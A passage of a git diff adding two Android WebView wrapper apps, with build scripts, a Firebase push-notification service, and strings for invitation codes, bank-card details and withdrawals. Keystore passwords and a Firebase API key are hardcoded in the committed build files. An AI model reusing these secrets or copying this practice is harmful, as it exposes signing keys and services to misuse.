计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/cpx88_test/cpx.jks b/cpx88_test/cpx.jks new file mode 100644 index 0000000..2e6ca59 Binary files /dev/null and b/cpx88_test/cpx.jks differ diff --git a/cpx88_test/oyen.jks b/cpx88_test/oyen.jks new file mode 100644 index 0000000..9552acf Binary files /dev/null and b/cpx88_test/oyen.jks differ diff --git a/cpx88_test/ppn.jks b/cpx88_test/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/cpx88_test/ppn.jks differ diff --git a/cpx88_test/proguard-rules.pro b/cpx88_test/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/cpx88_test/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/cpx88_test/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/cpx88_test/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/cpx88_test/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/cpx88_test/src/main/AndroidManifest.xml b/cpx88_test/src/main/AndroidManifest.xml new file mode 100644 index 0000000..deda6e4 --- /dev/null +++ b/cpx88_test/src/main/AndroidManifest.xml @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/java/com/lqbz/sxbk/MainActivity.java b/cpx88_test/src/main/java/com/lqbz/sxbk/MainActivity.java new file mode 100644 index 0000000..e261865 --- /dev/null +++ b/cpx88_test/src/main/java/com/lqbz/sxbk/MainActivity.java @@ -0,0 +1,49 @@ +package com.lqbz.sxbk; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 170; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url",""); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#27012c"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#27012c"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/cpx88_test/src/main/java/com/lqbz/sxbk/WebApplication.java b/cpx88_test/src/main/java/com/lqbz/sxbk/WebApplication.java new file mode 100644 index 0000000..a7a04ba --- /dev/null +++ b/cpx88_test/src/main/java/com/lqbz/sxbk/WebApplication.java @@ -0,0 +1,35 @@ +package com.lqbz.sxbk; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/cpx88_test/src/main/res/drawable-anydpi/ic_action_back.xml b/cpx88_test/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/cpx88_test/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/cpx88_test/src/main/res/drawable-hdpi/ic_action_back.png b/cpx88_test/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/cpx88_test/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/cpx88_test/src/main/res/drawable-mdpi/ic_action_back.png b/cpx88_test/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/cpx88_test/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/cpx88_test/src/main/res/drawable-v24/ic_launcher_foreground.xml b/cpx88_test/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/cpx88_test/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable-xhdpi/ic_action_back.png b/cpx88_test/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/cpx88_test/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/cpx88_test/src/main/res/drawable-xxhdpi/ic_action_back.png b/cpx88_test/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/cpx88_test/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/cpx88_test/src/main/res/drawable/big_bg.xml b/cpx88_test/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..dff5074 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/ic_launcher_background.xml b/cpx88_test/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/cpx88_test/src/main/res/drawable/input_bg.xml b/cpx88_test/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/cpx88_test/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/cpx88_test/src/main/res/drawable/pass_word_bg.xml b/cpx88_test/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/cpx88_test/src/main/res/drawable/pass_word_bg1.xml b/cpx88_test/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/pass_word_bg2.xml b/cpx88_test/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/cpx88_test/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/shape_btn_bg.xml b/cpx88_test/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/cpx88_test/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/shape_dialog_bg2.xml b/cpx88_test/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/shape_dialog_bg3.xml b/cpx88_test/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/cpx88_test/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/drawable/shape_dialog_bg_new.xml b/cpx88_test/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/cpx88_test/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cpx88_test/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/mipmap-hdpi/ic_empty.png b/cpx88_test/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/cpx88_test/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/cpx88_test/src/main/res/mipmap-hdpi/ic_pull_down.png b/cpx88_test/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/cpx88_test/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/cpx88_test/src/main/res/mipmap-xhdpi/ic_close.png b/cpx88_test/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/cpx88_test/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/cpx88_test/src/main/res/mipmap-xhdpi/ic_menu.png b/cpx88_test/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/cpx88_test/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/cpx88_test/src/main/res/mipmap-xxhdpi/app_logo.jpg b/cpx88_test/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..f55e8ee Binary files /dev/null and b/cpx88_test/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/cpx88_test/src/main/res/values-en/strings.xml b/cpx88_test/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/cpx88_test/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/cpx88_test/src/main/res/values-night/themes.xml b/cpx88_test/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/cpx88_test/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/values/colors.xml b/cpx88_test/src/main/res/values/colors.xml new file mode 100644 index 0000000..cbe9890 --- /dev/null +++ b/cpx88_test/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #27012c + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/values/strings.xml b/cpx88_test/src/main/res/values/strings.xml new file mode 100644 index 0000000..68b95cf --- /dev/null +++ b/cpx88_test/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + CPX88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/values/themes.xml b/cpx88_test/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/cpx88_test/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/xml/app_updater_paths.xml b/cpx88_test/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/cpx88_test/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/xml/network_security_config.xml b/cpx88_test/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/cpx88_test/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cpx88_test/src/main/res/xml/provider_paths.xml b/cpx88_test/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/cpx88_test/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/cpx88_test/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/cpx88_test/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/cpx88_test/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/dstest/.gitignore b/dstest/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/dstest/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/dstest/build.gradle b/dstest/build.gradle new file mode 100644 index 0000000..a9a6d69 --- /dev/null +++ b/dstest/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.dstest" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "dstest" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/dstest/google-services.json b/dstest/google-services.json new file mode 100644 index 0000000..d04913d --- /dev/null +++ b/dstest/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "150956259260", + "project_id": "testweb-10683", + "storage_bucket": "testweb-10683.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:150956259260:android:9d587ad9d90f0f5b4d5db9", + "android_client_info": { + "package_name": "com.web.dstest" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCuuF_p8sRqwEtymUZhrxP0Kp9y6icq94s" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/dstest/ppn.jks b/dstest/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/dstest/ppn.jks differ diff --git a/dstest/proguard-rules.pro b/dstest/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/dstest/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/dstest/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/dstest/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/dstest/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/dstest/src/main/AndroidManifest.xml b/dstest/src/main/AndroidManifest.xml new file mode 100644 index 0000000..1f3e344 --- /dev/null +++ b/dstest/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/java/com/web/dstest/MainActivity.java b/dstest/src/main/java/com/web/dstest/MainActivity.java new file mode 100644 index 0000000..1f4c11d --- /dev/null +++ b/dstest/src/main/java/com/web/dstest/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.dstest; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 163; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://imaju88a.com/promotion"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#bebebe"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#bebebe"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/dstest/src/main/java/com/web/dstest/MyFirebaseMessageingService.java b/dstest/src/main/java/com/web/dstest/MyFirebaseMessageingService.java new file mode 100644 index 0000000..5853c04 --- /dev/null +++ b/dstest/src/main/java/com/web/dstest/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.dstest; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/dstest/src/main/java/com/web/dstest/WebApplication.java 